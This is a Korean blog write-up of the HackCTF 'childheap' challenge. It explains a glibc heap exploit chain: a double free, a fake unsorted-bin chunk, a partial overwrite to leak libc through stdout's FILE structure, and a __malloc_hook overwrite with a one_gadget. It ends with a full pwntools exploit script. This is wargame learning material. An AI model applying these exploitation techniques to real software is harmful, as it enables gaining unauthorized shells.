블로그 이전했습니다. https://jeongzero.oopy.io/
[HackCTF] childheap
본문 바로가기
워게임/HackCTF

[HackCTF] childheap

728x90

[HackCTF] childheap

Date
Tags report

 

1. 문제


1) mitigation 확인

카나리, NX 가 걸려있다. PIE는 안걸려있다.

 

 

2) 문제 확인

1번을 선택하여 원하는 인덱스에 malloc으로 content를 삽입 가능하다. 또한 2번으로 원하는 인덱스를 free한다

 

 

 

3) 코드흐름 파악

  • Malloc()
    1. main()은 별게 없고 Malloc함수와 Free함수만 집중적으로 보면 된다. 우선 어떤 인덱스에 넣을건지 선택하게 되는데 인덱스는 0 ~ 4 까지만 선택 가능하다. 또한 content의 size도 128byte까지만 입력 가능하다.
    1. 두개의 조건을 통과하면 bss 영역에 있는 ptr 배열에 입력한 사이즈만큼 malloc한 주소를 저장한다.
    1. read 함수로 해당 영역에 content를 입력한다

     

     

  • Free()
    1. 여기도 선택하는 인덱스의 제한이 동일하게 존재한다.
    1. 0 ~ 4 사이의 인덱스를 선택했다면 해당 인덱스에 들어있는 청크를 free시킨다

 

 

2. 접근방법


  • 우선 free시 해당 ptr 배열을 초기화 하지 않기 떄문에 uaf가 가능할 것이고 이를 통해 DFB가 가능하다.

 

  • 그다음 libc 주소를 leak해야 한다. 입력한 데이터를 출력해주는 함수가 없는데 어떻게 해야 할까처음 알게된 방법이라 롸업을 보면서 문제를 풀었다. 일단 우리는 _IO_stdout_을 이용해서 leak을 할 것이다. leak 방법은 아래에서 확인 가능하다

 

  • 처음에 문제를 풀때 128바이트보다 큰 값은 입력할 수 없기 때문에 128도 안됀다고 착각해버렸다. 따라서 fastbin 사이즈 청크만 할당 가능하다고 생각하여 unsorted bin에 청크를 넣는 것 부터 시작하였다.

 

 

  • 시나리오
    1. DFB를 이용하여 사이즈가 조작된 fastbin size 보다 큰 fake 청크를 fastbin에서 할당받게 만듬
    1. fake 청크를 할당받았다면, 해당 청크가 free될 시 unsorted bin으로 들어감
      • 따라서 fake 청크의 fd와 bk에 bin 주소가 들어가게 됨(main_arena+88)
      • bin은 main_arena 구조체에 들어있는 값임. main_arena는 libc의 data segment에 존재하기 때문에 결국 fd,bk에 들어가는 값은 libc 주소들과 가까움
      • stdout주소와 main_arena+88 주소는 하위 2바이트만 다르고 나머지는 동일함.
      • 또한 오프셋을 동일하므로 가령 stdout의 오프셋이 0x620이면 0x?620 이렇게 2바이트 중 ?부분만 램덤으로 때려맞추면 됨.

       

    1. 그럼 이제 DFB를 다시 이용하여 main_arena+88 값을 조작한 뒤, 해당 청크를 할당받게 함
      • 단. 그대로 stdout 주소로 박으면 안됨. 청크 구조 형태를 맞춰줘야하기 때문에

        stdout-0x43 정도의 메모리를 보면 청크 구조처럼 되어있눈 부분이 있음. 이 주소를 main_arena+88 를 이용하여 조작해야함

       

    1. 이를 이용하여 libc leak을 진행
    1. leak된 주소를 이용하여 malloc_hook을 one_gadget으로 덮음
      • DFB를 이용해서 똑같이 이용하면 됨.
    1. malloc_hook 역시 청크 구조에 맞는 위치를 할당해줘야함.
    1. malloc_hook이 덮혔다면 마지막으로 malloc 호출하면 쉘이 떨어짐

     

이제 위 시나리오대로 차근차근 확인해보자

 

 

3. 풀이


 

(중간중간에 디버깅을 종료하고 다시 시작해서 메모리 주소가 다름. 오프셋 위주로 확인하시길 ...)

 

 

  1. DFB를 이용하여 사이즈가 조작된 fastbin size 보다 큰 fake 청크를 fastbin에서 할당받게 만듬
    • 우선 3개의 malloc을 진행하고 인덱스 0, 1, 0 순으로 free시켜 DFB를 일으킨다.
    • 첫번째 malloc 시에 마지막에 0x71이 들어가게 해준다

     

    • 현재 fastbin 상태이다. 위에서 malloc한 동일 사이즈로 다시 malloc을 하게 되면 fastbin[5]에 들어있는 청크들이 재할당 된다.
    • DFB를 이용했기 때문에 처음 할당받은 0x2325000 청크를 처음에 할당받으면서 데이터를 쓰면, 삽입한 데이터가 3번째 malloc 시 청크 주소로 되면서 재할당 된다

     

     

    • 다시 동일 사이즈로 4번의 malloc 중 첫번째 malloc이 호출된 상태이다. mem 영역에 한바이트는 0x60으로 넣었기 때문에 fastbin[5]의 마지막 리스트에는 0x176d060의 주소를 가리키게 된다.
    • 따라서 2,3번이 진행되고 4번의 malloc이 진행된다면 0x176d060의 주소를 청크로하여 할당받을 것이다.
    • 그렇게 된다면 해당 fake 청크의 mem 영역은 0x176d070부터 시작할 것이고, 0x176d078에 들어있는 0x71 값을 변경 가능하다. unsorted bin에 들어가게 하기 위해 0x91로 변경할 것이다.

     

     

    • 4번까지 진행이 완료된 상황이다. ptr[1]을 보면 실사이즈는 0x71이지만 아까 0x91를 조작하여 넣었기 때문에 chunk size의 위치에 0x91이 들어가 있다. 따라서 해당 ptr[1]을 free시키면 0x91사이즈 청크로 착각하여 fastbin이 아닌, unsorted bin에 들어 갈 것이다.

     

     

     

  1. fake 청크를 할당받았다면, 해당 청크가 free될 시 unsorted bin으로 들어감
    • 따라서 fake 청크의 fd와 bk에 bin 주소가 들어가게 됨(main_arena+88)
    • bin은 main_arena 구조체에 들어있는 값임. main_arena는 libc의 data segment에 존재하기 때문에 결국 fd,bk에 들어가는 값은 libc 주소들과 가까움
    • stdout주소와 main_arena+88 주소는 하위 2바이트만 다르고 나머지는 동일함.
    • 또한 오프셋을 동일하므로 가령 stdout의 오프셋이 0x620이면 0x?620 이렇게 2바이트 중 ?부분만 램덤으로 때려맞추면 됨.

     

    • 헌데 free(1)이 진행되면 에러가남. 그이유는 다음과 같음

     

    • ptr[1]의 청크 사이즈는 현재 0x91로 파악하여 free가 된다면 top 청크가 바로나와야 하는데 현재 fake 청크이므로 top 청크 사이에 공백이 존재하게 된다
    • 따라서 free(1) 시 에러가 발생하는 것임. 그렇기 때문에 에러를 피하기 위해 빨간색 영역을 청크의 영역으로 채워야함. 사이즈는 0x50임

     

     

    • 맨~~~ 처음 malloc 4번을 진행할때 3번 을 이렇게 변경해서 malloc하면 됨

     

     

    • 0x51이 추가되었고, 에러가 안나고 free(1)가 호출됨. (0x51로 봐주세요 그림을 다른걸로 올려놔서..)
    • 최종적으로 0x76f070 청크가 unsorted bin에 들어갔고 fd, bk에 main_arena+88의 주소가 들어감

     

     

    • fk 값의 하위 2바이트를 위 빨간줄친 주소로 변경할꺼임. 0x?5dd 여기서 ? 부분이 랜덤이므로 16분의 1의 확률로 때려맞추면 됨. 나는 행운의 숫자 7로 했음. 0x7f730376c7dd가 위 메모리 상황처럼 되기를 기도하면 됨

     

    • 아까 0x91크기의 unsorted bin 청크에서 0x70만큼만 쓰므로 0x20으로 쪼개지는 것을 볼수 있음.
    • 그리고 입력한 0x75dd 값이 들어감.
    • 이제 다시 DFB를 이용해서 0x76f080에 들어있는 주소를 청크로 하여 재할당되게 할 꺼임

     

     

     

  1. 그럼 이제 DFB를 다시 이용하여 main_arena+88 값을 조작한 뒤, 해당 청크를 할당받게 함
    • 단. 그대로 stdout 주소로 박으면 안됨. 청크 구조 형태를 맞춰줘야하기 때문에 stdout-0x43 정도의 메모리를 보면 청크 구조처럼 되어있눈 부분이 있음. 이 주소를 main_arena+88 를 이용하여 조작해야함

     

    • DFB를 일으키기 좋은 청크를 하나더 malloc으로 생성해주고 4,0,4 순으로 해당 인덱스를 free 시킨다.
    • 우리가 원하는 건 0xb4080에 들어있는 값을 주소로하여 청크 재할당을 받는 것이다

     

     

    • 1번이 진행되면 0xb41160에 0xb41070이 들어간다.
    • 이제 2,3,4,가 진행되면 DFB로 0xb41070에 있는 값을 재할당 할수 있을것이다.

     

     

    • 현재 반복문으로 랜덤값을 돌리는 중인데 아까는 0x...75dd로 했는데 이번에는 0x..c5dd로 해봤다.
    • 하지만 두 노란색 박스의 값이 아직도 일치하지 않는다.
    • 반복문으로 에러나면 다시 실행시키는 식으로 돌리다 보면 운좋게 일치하는 경우가 생길 것이다.
    • 그렇게 된다면 Malloc() 함수가 끝나고 main에서 menu 함수 안의 puts가 실행될때 stdout 을 이용하여 leak이 일어날 것이다.

     

     

     

  1. 이를 이용하여 libc leak을 진행
    • 저렇게 leak이 된다. 저기 빨간줄친 부분에서 -131을 하면 stdout의 주소가 나온다 따라서 이를 이용해서 libc_base를 알 수 있다. 아니면 0x88위치에 0x7f732f07b8e0 주소가 있는데, 이는 stdin 주소로써 이를 이용해도 된다.

     

     

     

  1. leak된 주소를 이용하여 malloc_hook을 one_gadget으로 덮음
    • DFB를 이용해서 똑같이 이용하면 됨.
    • DFB를 이용해서 __malloc_hook을 one_gadget으로 덮었음

 

 

 

최종 익스코드는 다음과 같다

from pwn import *

def malloc(index,size,content):
	p.sendlineafter("> ","1")
	p.sendlineafter("index: ",str(index))
	p.sendlineafter("size: ",str(size))
	p.sendafter("content: ",str(content))

def free(index):
        p.sendlineafter("> ","2")
        p.sendlineafter("index: ",str(index))


while(1):
	context(arch="amd64",os="linux",log_level="DEBUG")
	#p=remote("ctf.j0n9hyun.xyz",3033)
	env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
	p=process("./childheap",aslr="False")
        #gdb.attach(p,'code\nb *0x968+$code\n')
	e=ELF("./childheap")
	libc=ELF("./libc.so.6")

	malloc(0,100,p64(0)*11+p64(0x71))
	malloc(1,100,"A"*8)
	#malloc(2,100,"B"*8+p64(0)*2+p64(0))
	malloc(2,100,"B"*8+p64(0)*2+p64(0x51))
	#malloc(4,100,"C"*8)
	free(0)
	free(1)
	free(0)
	#pause()
	
	malloc(0,100,p8(0x60))
	malloc(1,100,"A"*8)
	malloc(2,100,"B"*8)
	malloc(3,100,p64(0)+p64(0x91))


	free(1)
	malloc(1,100,p16(0xc5dd))
        malloc(4,100,"C"*8)

	free(4)
	free(0)
	free(4)

	malloc(4,100,p8(0x70))
	malloc(0,100,"A"*8)
	malloc(4,100,"A"*8)
	malloc(0,100,"A"*8)

	try:
		malloc(4,100,"A"*3+p64(0)*6+p64(0xfbad3887)+"\x00"*25)
		gdb.attach(p,'code\nb *0xa09+$code\n')
		pause()
	except:
		p.close()
		continue


	#log.info(tmp)
	#p.recv(0x48)
	#log.info(u64(p.recv(8))-0x73250)
	p.recv(0x88)
	pause()
	libc_base=u64(p.recv(6)+"\x00\x00")-libc.symbols['_IO_2_1_stdin_']
	log.info("libc base::"+hex(libc_base))
	#pause()

	malloc_hook=libc_base+libc.symbols['__malloc_hook']	
	one_gadet=libc_base+0xf1147
	malloc(0,100,"A"*8)
	malloc(1,100,"B"*8)

	free(0)
	free(1)
	free(0)

	malloc(0,100,p64(malloc_hook-35))
	malloc(1,100,"A"*8)
	malloc(0,100,"B"*8)
  malloc(1,100,"E"*19+p64(one_gadet))

  p.sendlineafter("> ","1")
  p.sendlineafter("index: ",str(2))
  p.sendlineafter("size: ",str(30))

	p.interactive()

 

 

4. 몰랐던 개념


  • libc leak using stdout _IO_FILE structure

    해당 개념은 따로 정리를 했다.

  • 파일 디스크립터 관련하여 해결해야할 문제들이 몇개 있다
  • house of orange도 fopen 관련 문제이기 때문에 확실하게 공부하는것이 도움이 될 것같다
728x90

'워게임 > HackCTF' 카테고리의 다른 글

[HackCTF] j0n9hyun's secret  (0) 2020.04.11
[HackCTF] ezshell  (0) 2020.04.11
[HackCTF] babyheap  (2) 2020.04.11
[HackCTF] babyfsb  (0) 2020.04.11
[HackCTF ] Gift  (0) 2020.04.11